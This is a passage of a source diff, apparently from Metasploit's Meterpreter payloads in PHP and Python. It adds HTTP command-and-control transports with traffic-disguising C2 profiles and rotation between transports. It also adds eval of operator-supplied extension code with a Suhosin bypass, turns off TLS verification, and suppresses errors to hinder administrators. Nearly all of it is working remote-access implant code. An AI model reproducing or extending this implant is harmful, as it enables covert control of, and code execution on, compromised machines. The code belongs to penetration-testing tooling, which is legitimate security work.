($client_sock) { + $client_channel_id = register_channel($client_sock); + add_reader($client_sock); + + $pkt = pack("N", PACKET_TYPE_REQUEST); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port)); + packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); + $pkt = pack("N", strlen($pkt) + 4) . $pkt; + write_tlv_to_socket($msgsock, $pkt); + } + } else { + $data = read($ready); + if (false === $data) { + handle_dead_resource_channel($ready); + } elseif (strlen($data) > 0) { + my_print(sprintf("Read returned %s bytes", strlen($data))); + $request = handle_resource_read_channel($ready, $data); + if ($request) { + write_tlv_to_socket($msgsock, $request); + } + } + } + } + } + $r = $GLOBALS['readers']; + } + remove_reader($msgsock); close($msgsock); + return DISPATCH_RETIRE; +} + +function dispatch_http(&$transport) { + my_print("Starting HTTP transport to " . $transport['url']); + $last_packet_time = time(); + $empty_count = 0; + + while (true) { + if (empty($GLOBALS['running']) || time() >= $GLOBALS['session_expiry_end']) { + return DISPATCH_EXIT; + } + if ($GLOBALS['next_transport_idx'] !== null) { + return DISPATCH_SWITCH; + } + if (time() > $last_packet_time + $transport['comm_timeout']) { + my_print("Communication timeout reached"); + return DISPATCH_RETIRE; + } + + $raw = http_get_packet($transport); + + if ($raw != null && strlen($raw) >= 32) { + $empty_count = 0; + $last_packet_time = time(); + + $xor = substr($raw, 0, 4); + $decrypted = decrypt_packet(xor_bytes($xor, $raw)); + $response = create_response($decrypted); + + $xor_key = rand_xor_key(); + $encrypted = encrypt_packet($response); + $packet = $xor_key . xor_bytes($xor_key, $encrypted); + http_send_packet($transport, $packet); + } else { + if ($raw !== null) { + # empty 200: connection is alive + $last_packet_time = time(); + } + $delay = min(10, $empty_count * 0.1); + $empty_count++; + usleep((int)($delay * 1000000)); + } + } +} + function packet_get_all_tlvs($pkt, $type) { my_print("Looking for all tlvs of type $type"); # Start at offset 8 to skip past the packet header @@ -1495,6 +2131,199 @@ function remove_reader($resource) { } +## +# HTTP Transport Functions +## + +function c2_encode($data, $enc) { + if ($enc == C2_ENCODING_B64) { + return base64_encode($data); + } elseif ($enc == C2_ENCODING_B64URL) { + return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); + } + return $data; +} + +function c2_decode($data, $enc) { + if ($enc == C2_ENCODING_B64) { + return base64_decode($data); + } elseif ($enc == C2_ENCODING_B64URL) { + return base64_decode(strtr($data, '-_', '+/')); + } + return $data; +} + +function http_get_uuid_from_url($url) { + $path = parse_url($url, PHP_URL_PATH); + if ($path === null || strlen($path) <= 1) { return ''; } + $path = trim($path, '/'); + $parts = explode('/', $path); + return end($parts); +} + +function http_transport_uuid($transport) { + # Prefer TLV_TYPE_C2_UUID; fall back to URL path's last segment. + if (!empty($transport['c2_uuid'])) { + return $transport['c2_uuid']; + } + return http_get_uuid_from_url($transport['url']); +} + +# Apply the profile's UUID transform (encode + prepend + append) to the +# raw UUID before placing it in URL/header/cookie. With no profile, the +# raw UUID is returned unchanged. +function http_render_uuid($profile, $uuid) { + if ($profile == null || strlen($uuid) == 0) { + return $uuid; + } + $enc = isset($profile['enc_uuid']) ? $profile['enc_uuid'] : C2_ENCODING_NONE; + $prefix = isset($profile['uuid_prefix']) ? $profile['uuid_prefix'] : ''; + $suffix = isset($profile['uuid_suffix']) ? $profile['uuid_suffix'] : ''; + return $prefix . c2_encode($uuid, $enc) . $suffix; +} + +function http_non_c2_url($transport) { + # No C2 profile: keep the LURI-bearing base path from $transport['url'] + # and swap the trailing UUID segment for the current one (metsrv + # generate_uri equivalent — honours a patched UUID without mutating + # $transport['url']). + $url = rtrim($transport['url'], '/'); + $pos = strrpos($url, '/'); + $base = ($pos !== false) ? substr($url, 0, $pos) : $url; + return $base . '/' . http_transport_uuid($transport); +} + +function http_build_profile_url($transport, $profile) { + if ($profile == null) { + return http_non_c2_url($transport); + } + + # With a C2 profile: discard LURI from the baked-in URL — the profile's + # per-verb `set uri` is the authoritative request path. + $parsed = parse_url($transport['url']); + $base = $parsed['scheme'] . '://' . $parsed['host']; + if (isset($parsed['port'])) { $base .= ':' . $parsed['port']; } + + # Pick one of the profile's candidate URIs at random per request. + $uri = ''; + if (!empty($profile['uris'])) { + $uri = $profile['uris'][array_rand($profile['uris'])]; + if ($uri[0] != '/') { $uri = '/' . $uri; } + } + $url = $base . $uri; + + $uuid = http_render_uuid($profile, http_transport_uuid($transport)); + if (isset($profile['uuid_get']) && $profile['uuid_get'] != null) { + if (strlen($uuid) > 0) { + $sep = (strpos($url, '?') !== false) ? '&' : '?'; + $url .= $sep . $profile['uuid_get'] . '=' . $uuid; + } + } elseif (empty($profile['uuid_header']) && empty($profile['uuid_cookie'])) { + # No param/header/cookie placement => carry the id in the URI path. + if (strlen($uuid) > 0) { + $url = rtrim($url, '/') . '/' . $uuid; + } + } + return $url; +} + +function http_build_context($transport, $profile, $body = null) { + $headers = "Content-Type: application/octet-stream\r\n"; + if (isset($transport['ua']) && $transport['ua'] != null) { + $headers .= "User-Agent: " . $transport['ua'] . "\r\n"; + } + if (isset($transport['custom_headers']) && $transport['custom_headers'] != null) { + $headers .= $transport['custom_headers'] . "\r\n"; + } + if ($profile != null) { + if (isset($profile['uuid_header']) && $profile['uuid_header'] != null) { + $uuid = http_render_uuid($profile, http_transport_uuid($transport)); + if (strlen($uuid) > 0) { + $headers .= $profile['uuid_header'] . ': ' . $uuid . "\r\n"; + } + } + if (isset($profile['uuid_cookie']) && $profile['uuid_cookie'] != null) { + $uuid = http_render_uuid($profile, http_transport_uuid($transport)); + if (strlen($uuid) > 0) { + $headers .= "Cookie: " . $profile['uuid_cookie'] . '=' . $uuid . "\r\n"; + } + } + } + + $opts = array('http' => array( + 'method' => ($body !== null) ? 'POST' : 'GET', + 'header' => $headers, + 'timeout' => $transport['comm_timeout'], + 'ignore_errors' => true, + )); + if ($body !== null) { + $opts['http']['content'] = $body; + } + + if (isset($transport['proxy_url']) && $transport['proxy_url'] != null) { + $opts['http']['proxy'] = $transport['proxy_url']; + $opts['http']['request_fulluri'] = true; + if (!empty($transport['proxy_user'])) { + $pass = isset($transport['proxy_pass']) ? $transport['proxy_pass'] : ''; + $auth = base64_encode($transport['proxy_user'] . ':' . $pass); + $opts['http']['header'] .= "Proxy-Authorization: Basic " . $auth . "\r\n"; + } + } + + if (strpos($transport['url'], 'https') === 0) { + $opts['ssl'] = array( + 'verify_peer' => false, + 'verify_peer_name' => false, + 'allow_self_signed' => true, + ); + } + + return stream_context_create($opts); +} + +function http_get_packet($transport) { + $profile = $transport['c2_get']; + $url = http_build_profile_url($transport, $profile); + $ctx = http_build_context($transport, $profile); + + $raw = @file_get_contents($url, false, $ctx); + if ($raw === false || strlen($raw) == 0) { + return null; + } + + if ($profile != null) { + $start = $profile['prefix_skip']; + $end = strlen($raw) - $profile['suffix_skip']; + if ($start > 0 || $profile['suffix_skip'] > 0) { + $raw = substr($raw, $start, $end - $start); + } + if ($profile['enc_inbound'] != C2_ENCODING_NONE) { + $raw = c2_decode($raw, $profile['enc_inbound']); + } + } + + return $raw; +} + +function http_send_packet($transport, $packet) { + $profile = $transport['c2_post']; + $body = $packet; + + if ($profile != null) { + $body = c2_encode($body, $profile['enc_outbound']); + $prefix = isset($profile['prefix']) ? $profile['prefix'] : ''; + $suffix = isset($profile['suffix']) ? $profile['suffix'] : ''; + if (strlen($prefix) > 0 || strlen($suffix) > 0) { + $body = $prefix . $body . $suffix; + } + } + + $url = http_build_profile_url($transport, $profile); + $ctx = http_build_context($transport, $profile, $body); + + @file_get_contents($url, false, $ctx); +} + ## # Main stuff ## @@ -1503,7 +2332,7 @@ function remove_reader($resource) { # Turn off error reporting so we don't leave any ugly logs. Why make an # administrator's job easier if we don't have to? =) -if (MY_DEBUGGING) { +if (my_debugging_enabled()) { error_reporting(E_ALL); } else { error_reporting(0); @@ -1515,163 +2344,74 @@ function remove_reader($resource) { @ignore_user_abort(1); @ini_set('max_execution_time',0); -# Add the payload UUID to globals, and use that from now on so that we can -# update it as required. -$GLOBALS['UUID'] = PAYLOAD_UUID; -$GLOBALS['SESSION_GUID'] = SESSION_GUID; -$GLOBALS['AES_KEY'] = null; +# Parse configuration from TLV config block +$config = parse_config_block(base64_decode(CONFIG_BLOCK)); + +$GLOBALS['UUID'] = $config['uuid']; +$GLOBALS['SESSION_GUID'] = $config['session_guid']; +$GLOBALS['AES_KEY'] = $config['sym_key']; $GLOBALS['AES_ENABLED'] = false; -# If we don't have a socket we're standalone, setup the connection here. -# Otherwise, this is a staged payload, don't bother connecting -if (!isset($GLOBALS['msgsock'])) { - # The payload handler overwrites this with the correct LHOST before sending - # it to the victim. - $ipaddr = '127.0.0.1'; - $port = 4444; - my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); - $msgsock = connect($ipaddr, $port); - if (!$msgsock) { die(); } -} else { - # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or - # stream) in $msgsock_type - $msgsock = $GLOBALS['msgsock']; - $msgsock_type = $GLOBALS['msgsock_type']; - switch ($msgsock_type) { - case 'socket': - register_socket($msgsock); - break; - case 'stream': - # fall through - default: - register_stream($msgsock); - } +if ($config['debug_log'] != null && strlen($config['debug_log']) > 0) { + # TLV-supplied debug log path overrides the compile-time MY_DEBUGGING_LOG_FILE_PATH + $GLOBALS['DEBUGGING'] = true; + $GLOBALS['DEBUGGING_LOG_FILE_PATH'] = $config['debug_log']; + my_print("Debug log path: " . $config['debug_log']); } -add_reader($msgsock); -# -# Main dispatch loop -# -$r=$GLOBALS['readers']; -$w=NULL;$e=NULL;$t=1; -while (false !== ($cnt = select($r, $w, $e, $t))) { - #my_print(sprintf("Returned from select with %s readers", count($r))); - $read_failed = false; - for ($i = 0; $i < $cnt; $i++) { - $ready = $r[$i]; - if ($ready == $msgsock) { - $packet = read($msgsock, 32); - my_print(sprintf("Read returned %s bytes", strlen($packet))); - if (false==$packet) { - my_print("Read failed on main socket, bailing"); - # We failed on the main socket. There's no way to continue, so - # break all the way out. - break 2; - } - $xor = substr($packet, 0, 4); - $header = xor_bytes($xor, substr($packet, 4, 28)); - $len_array = unpack("Nlen", substr($header, 20, 4)); - # length of the packet should be the packet header size - # minus 8 for the tlv length + the required data length - $len = $len_array['len'] + 32 - 8; - # packet type should always be 0, i.e. PACKET_TYPE_REQUEST - while (strlen($packet) < $len) { - $packet .= read($msgsock, $len-strlen($packet)); - } - $response = create_response(decrypt_packet(xor_bytes($xor, $packet))); +$GLOBALS['transport_list'] = $config['transports']; +$GLOBALS['current_transport_idx'] = 0; +$GLOBALS['next_transport_idx'] = null; +$GLOBALS['session_expiry_end'] = time() + $config['session_expiry']; +$GLOBALS['running'] = true; - write_tlv_to_socket($msgsock, $response); +# Hot-load extensions baked into the config block (EXTENSIONS=) before +# opening the C2 session, so the framework sees them at connect time. +if (!empty($config['extensions'])) { + foreach ($config['extensions'] as $ext_source) { + if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval') && can_call_function('create_function')) { + $suhosin_bypass = create_function('', $ext_source); + $suhosin_bypass(); } else { - #my_print("not Msgsock: $ready"); - $chan_id = get_channel_id_from_resource($ready); - $channel = false; - if ($chan_id !== false) { - $channel = get_channel_by_id($chan_id); - } - - if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') { - $client_sock = false; - $client_addr = ''; - $client_port = 0; - $server_addr = ''; - $server_port = 0; - - switch (get_rtype($ready)) { - case 'socket': - $client_sock = @socket_accept($ready); - if ($client_sock) { - @socket_getpeername($client_sock, $client_addr, $client_port); - @socket_getsockname($ready, $server_addr, $server_port); - register_socket($client_sock); - } - break; - case 'stream': - $peer_name = ''; - $client_sock = @stream_socket_accept($ready, 0, $peer_name); - if ($client_sock) { - $local_name = stream_socket_get_name($ready, false); - if (!is_string($peer_name)) { - $peer_name = ''; - } - if (!is_string($local_name)) { - $local_name = ''; - } + eval($ext_source); + } + } +} - if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) { - $client_addr = $matches[1]; - $client_port = (int)$matches[2]; - } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) { - $client_addr = $matches[1]; - $client_port = (int)$matches[2]; - } +# +# Outer transport-rotation loop: activate the current transport (with retry), +# dispatch on it, then rotate forward or switch as directed. +# +while ($GLOBALS['running'] && time() < $GLOBALS['session_expiry_end']) { + $idx = $GLOBALS['current_transport_idx']; + $transport = &$GLOBALS['transport_list'][$idx]; - if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) { - $server_addr = $matches[1]; - $server_port = (int)$matches[2]; - } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) { - $server_addr = $matches[1]; - $server_port = (int)$matches[2]; - } + if (!activate_transport_with_retry($transport)) { + my_print("Failed to activate transport[$idx], rotating"); + $GLOBALS['current_transport_idx'] = transport_next_idx($idx); + unset($transport); + continue; + } - register_stream($client_sock); - } - break; - } + if ($transport['type'] == 'tcp') { + $result = dispatch_tcp($transport); + my_print("Finished TCP transport"); + } else { + $result = dispatch_http($transport); + my_print("Finished HTTP transport"); + } - if ($client_sock) { - $client_channel_id = register_channel($client_sock); - add_reader($client_sock); - - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID'])); - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - write_tlv_to_socket($msgsock, $pkt); - } - } else { - $data = read($ready); - if (false === $data) { - handle_dead_resource_channel($ready); - } elseif (strlen($data) > 0){ - my_print(sprintf("Read returned %s bytes", strlen($data))); - $request = handle_resource_read_channel($ready, $data); - if ($request) { - write_tlv_to_socket($msgsock, $request); - } - } - } - } + if ($result == DISPATCH_EXIT) { + unset($transport); + break; } - # $r is modified by select, so reset it - $r = $GLOBALS['readers']; -} # end main loop -my_print("Finished"); + if ($result == DISPATCH_SWITCH) { + $GLOBALS['current_transport_idx'] = $GLOBALS['next_transport_idx']; + $GLOBALS['next_transport_idx'] = null; + } else { + # DISPATCH_RETIRE: rotate forward + $GLOBALS['current_transport_idx'] = transport_next_idx($idx); + } + unset($transport); +} my_print("--------------------"); -close($msgsock); diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py index d5b485fe8..2d050b38f 100644 --- a/python/meterpreter/meterpreter.py +++ b/python/meterpreter/meterpreter.py @@ -1,7 +1,9 @@ #!/usr/bin/python +import base64 import binascii import code import copy +import logging import os import platform import random @@ -23,7 +25,7 @@ has_windll = hasattr(ctypes, 'windll') try: - urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] + urllib_imports = ['HTTPPasswordMgrWithDefaultRealm', 'ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen'] if sys.version_info[0] < 3: urllib = __import__('urllib2', fromlist=urllib_imports) else: @@ -63,12 +65,9 @@ DEBUGGING = False DEBUGGING_LOG_FILE_PATH = None TRY_TO_FORK = True -HTTP_CONNECTION_URL = None -HTTP_PROXY = None -HTTP_USER_AGENT = None -HTTP_COOKIE = None -HTTP_HOST = None -HTTP_REFERER = None +CONFIG_BLOCK = '' + +# defaults used as fallbacks within transport setup PAYLOAD_UUID = '' SESSION_GUID = '' SESSION_COMMUNICATION_TIMEOUT = 300 @@ -78,6 +77,7 @@ PACKET_TYPE_REQUEST = 0 PACKET_TYPE_RESPONSE = 1 +PACKET_TYPE_CONFIG = 2 PACKET_TYPE_PLAIN_REQUEST = 10 PACKET_TYPE_PLAIN_RESPONSE = 11 @@ -178,7 +178,11 @@ TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload -TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) +TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server->client (response) body encoding +TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) +TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_STRING | 730 # String to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_STRING | 731 # String to append to the encoded UUID TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in @@ -198,6 +202,11 @@ ENC_NONE = 0 ENC_AES256 = 1 +# C2 encoding flags +C2_ENCODING_NONE = 0 +C2_ENCODING_B64 = 1 +C2_ENCODING_B64URL = 2 + # Packet header sizes PACKET_XOR_KEY_SIZE = 4 PACKET_SESSION_GUID_SIZE = 16 @@ -369,13 +378,8 @@ ) # --------------------------------------------------------------- -if DEBUGGING: - import logging - logging.basicConfig(level=logging.DEBUG) - if DEBUGGING_LOG_FILE_PATH: - file_handler = logging.FileHandler(DEBUGGING_LOG_FILE_PATH) - file_handler.setLevel(logging.DEBUG) - logging.getLogger().addHandler(file_handler) +# Note: DEBUGGING is driven by the runtime config block, not a build-time +# constant, so logging is configured where DEBUGGING is enabled (below). if has_windll: class SYSTEM_INFO(ctypes.Structure): @@ -455,6 +459,18 @@ def debug_print(msg): if DEBUGGING: logging.debug(msg) +def debug_hexdump(label, data): + if DEBUGGING: + if data is None: + debug_print(label + ' = None') + return + preview = data[:64] + try: + hexed = binascii.b2a_hex(preview).decode('ascii') + except Exception: + hexed = repr(preview) + debug_print('%s (len=%d): %s%s' % (label, len(data), hexed, '...' if len(data) > 64 else '')) + @export def debug_traceback(msg=None): if DEBUGGING: @@ -560,6 +576,22 @@ def packet_get_tlv(pkt, tlv_type): return {} return tlv +def decrypt_packet(pkt, aes_key=None): + if pkt and len(pkt) > PACKET_HEADER_SIZE: + xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE]) + raw = xor_bytes(xor_key, pkt) + pkt_type_off = PACKET_HEADER_SIZE - PACKET_TYPE_SIZE + pkt_type = struct.unpack('>I', raw[pkt_type_off:pkt_type_off+PACKET_TYPE_SIZE])[0] + enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE + enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0] + if enc_flag == ENC_AES256 and aes_key and pkt_type != PACKET_TYPE_CONFIG: + iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16] + encrypted = raw[PACKET_HEADER_SIZE+len(iv):] + return AES_CBC(aes_key).decrypt(iv, encrypted) + else: + return raw[PACKET_HEADER_SIZE:] + return None + @export def tlv_pack(*args): if len(args) == 2: @@ -889,6 +921,7 @@ def __init__(self): self.request_retire = False self.aes_enabled = False self.aes_key = None + self.c2_uuid = None def __repr__(self): return "<{0} url='{1}' >".format(self.__class__.__name__, self.url) @@ -901,6 +934,30 @@ def communication_has_expired(self): def should_retire(self): return self.communication_has_expired or self.request_retire + @staticmethod + def _parse_c2_verb_options(group_bytes): + """Parse GET or POST sub-group TLV bytes into an options dict.""" + opts = {} + # A profile's `set uri` may list several candidate URIs, emitted as + # repeated TLV_TYPE_C2_URI values. Collect them all; the request + # builder picks one at random per request (Cobalt Strike semantics). + opts['uris'] = [t['value'] for t in packet_enum_tlvs(group_bytes, TLV_TYPE_C2_URI)] + opts['ua'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UA).get('value') + opts['headers'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_HEADERS).get('value') + opts['enc_inbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_INBOUND).get('value', C2_ENCODING_NONE) + opts['enc_outbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_OUTBOUND).get('value', C2_ENCODING_NONE) + opts['enc_uuid'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_UUID).get('value', C2_ENCODING_NONE) + opts['uuid_prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_PREFIX).get('value', '') + opts['uuid_suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_SUFFIX).get('value', '') + opts['prefix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX_SKIP).get('value', 0) + opts['suffix_skip'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX_SKIP).get('value', 0) + opts['prefix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_PREFIX).get('value') + opts['suffix'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_SUFFIX).get('value') + opts['uuid_get'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_GET).get('value') + opts['uuid_header'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_HEADER).get('value') + opts['uuid_cookie'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UUID_COOKIE).get('value') + return opts + @staticmethod def from_request(request): url = packet_get_tlv(request, TLV_TYPE_C2_URL)['value'] @@ -908,22 +965,34 @@ def from_request(request): transport = TcpTransport(url) elif url.startswith('http'): proxy = packet_get_tlv(request, TLV_TYPE_C2_PROXY_URL).get('value') - user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value', HTTP_USER_AGENT) + proxy_user = packet_get_tlv(request, TLV_TYPE_C2_PROXY_USER).get('value') + proxy_pass = packet_get_tlv(request, TLV_TYPE_C2_PROXY_PASS).get('value') + user_agent = packet_get_tlv(request, TLV_TYPE_C2_UA).get('value') http_headers = packet_get_tlv(request, TLV_TYPE_C2_HEADERS).get('value', None) - transport = HttpTransport(url, proxy=proxy, user_agent=user_agent) + transport = HttpTransport(url, proxy=proxy, proxy_user=proxy_user, proxy_pass=proxy_pass, + user_agent=user_agent) if http_headers: headers = {} for h in http_headers.strip().split("\r\n"): p = h.split(':') - headers[p[0].upper()] = ''.join(p[1:0]) + headers[p[0].upper()] = ':'.join(p[1:]).strip() http_host = headers.get('HOST') http_cookie = headers.get('COOKIE') http_referer = headers.get('REFERER') - transport = HttpTransport(url, proxy=proxy, user_agent=user_agent, http_host=http_host, + transport = HttpTransport(url, proxy=proxy, proxy_user=proxy_user, proxy_pass=proxy_pass, + user_agent=user_agent, http_host=http_host, http_cookie=http_cookie, http_referer=http_referer) + # Parse C2 profile GET/POST sub-groups if present + get_group = packet_get_tlv(request, TLV_TYPE_C2_GET) + if get_group: + transport.c2_get = Transport._parse_c2_verb_options(get_group['value']) + post_group = packet_get_tlv(request, TLV_TYPE_C2_POST) + if post_group: + transport.c2_post = Transport._parse_c2_verb_options(post_group['value']) transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_C2_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT) transport.retry_total = packet_get_tlv(request, TLV_TYPE_C2_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL) transport.retry_wait = packet_get_tlv(request, TLV_TYPE_C2_RETRY_WAIT).get('value', SESSION_RETRY_WAIT) + transport.c2_uuid = packet_get_tlv(request, TLV_TYPE_C2_UUID).get('value') return transport def _activate(self): @@ -956,18 +1025,7 @@ def deactivate(self): return True def decrypt_packet(self, pkt): - if pkt and len(pkt) > PACKET_HEADER_SIZE: - xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE]) - raw = xor_bytes(xor_key, pkt) - enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE - enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0] - if enc_flag == ENC_AES256: - iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16] - encrypted = raw[PACKET_HEADER_SIZE+len(iv):] - return AES_CBC(self.aes_key).decrypt(iv, encrypted) - else: - return raw[PACKET_HEADER_SIZE:] - return None + return decrypt_packet(pkt, self.aes_key) def get_packet(self): self.request_retire = False @@ -1035,7 +1093,8 @@ def tlv_pack_transport_group(self): return trans_group class HttpTransport(Transport): - def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_referer=None, http_cookie=None): + def __init__(self, url, proxy=None, proxy_user=None, proxy_pass=None, + user_agent=None, http_host=None, http_referer=None, http_cookie=None): super(HttpTransport, self).__init__() opener_args = [] scheme = url.split(':', 1)[0] @@ -1047,8 +1106,15 @@ def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_refere opener_args.append(urllib.HTTPSHandler(0, ssl_ctx)) if proxy: opener_args.append(urllib.ProxyHandler({scheme: proxy})) - opener_args.append(urllib.ProxyBasicAuthHandler()) + if proxy_user is not None and proxy_pass is not None: + pw_mgr = urllib.HTTPPasswordMgrWithDefaultRealm() + pw_mgr.add_password(None, proxy, proxy_user, proxy_pass) + opener_args.append(urllib.ProxyBasicAuthHandler(pw_mgr)) + else: + opener_args.append(urllib.ProxyBasicAuthHandler()) self.proxy = proxy + self.proxy_user = proxy_user + self.proxy_pass = proxy_pass opener = urllib.build_opener(*opener_args) opener.addheaders = [] if user_agent: @@ -1065,6 +1131,93 @@ def __init__(self, url, proxy=None, user_agent=None, http_host=None, http_refere self._http_request_headers['Host'] = http_host self._first_packet = None self._empty_cnt = 0 + self.c2_get = None + self.c2_post = None + + @staticmethod + def _c2_encode(data, enc_flags): + if enc_flags == C2_ENCODING_B64: + return base64.b64encode(data) + elif enc_flags == C2_ENCODING_B64URL: + return base64.urlsafe_b64encode(data).rstrip(b'=') + return data + + @staticmethod + def _c2_decode(data, enc_flags): + if enc_flags == C2_ENCODING_B64: + return base64.b64decode(data) + elif enc_flags == C2_ENCODING_B64URL: + # Add padding back for base64url + padding = 4 - (len(data) % 4) + if padding != 4: + data = data + b'=' * padding + return base64.urlsafe_b64decode(data) + return data + + @staticmethod + def _render_uuid(c2_opts, uuid): + """Apply the profile's UUID transform (encode + prepend + append). + prefix/suffix are profile strings; the encoded UUID is base64/base64url + ASCII — everything lives in the string domain.""" + if not uuid: + return '' + enc = c2_opts.get('enc_uuid', C2_ENCODING_NONE) + prefix = c2_opts.get('uuid_prefix') or '' + suffix = c2_opts.get('uuid_suffix') or '' + uuid_bytes = uuid.encode() if is_str(uuid) else uuid + encoded = HttpTransport._c2_encode(uuid_bytes, enc) + if isinstance(encoded, bytes): + encoded = encoded.decode('latin-1') + return prefix + encoded + suffix + + def _build_request_url(self, c2_opts, uuid=None): + """Build the request URL using C2 profile options.""" + # Start with the base URL (scheme://host:port) — the profile's + # per-verb `set uri` is the authoritative path, so LURI from + # self.url is intentionally discarded here. + match = re.match(r'(https?://[^/]+)', self.url) + base_url = match.group(1) if match else self.url + # Pick one of the profile's candidate URIs at random per request. + uris = c2_opts.get('uris') or [] + uri = random.choice(uris) if uris else '' + url = base_url + '/' + uri.lstrip('/') + + rendered = self._render_uuid(c2_opts, uuid) if uuid else '' + # No param/header/cookie placement => id is carried in the URI. + if rendered and c2_opts.get('uuid_get'): + separator = '&' if '?' in url else '?' + url = url + separator + c2_opts['uuid_get'] + '=' + rendered + elif rendered and not (c2_opts.get('uuid_header') or c2_opts.get('uuid_cookie')): + url = url.rstrip('/') + '/' + rendered + return url + + def _build_request_headers(self, c2_opts, uuid=None): + """Build request headers from C2 profile options.""" + headers = dict(self._http_request_headers) + if c2_opts.get('headers'): + for h in c2_opts['headers'].strip().split("\r\n"): + p = h.split(':') + headers[p[0].strip()] = ':'.join(p[1:]).strip() + if c2_opts.get('ua'): + headers['User-Agent'] = c2_opts['ua'] + rendered = self._render_uuid(c2_opts, uuid) if uuid else '' + if rendered and c2_opts.get('uuid_header'): + headers[c2_opts['uuid_header']] = rendered + if rendered and c2_opts.get('uuid_cookie'): + cookie_val = c2_opts['uuid_cookie'] + 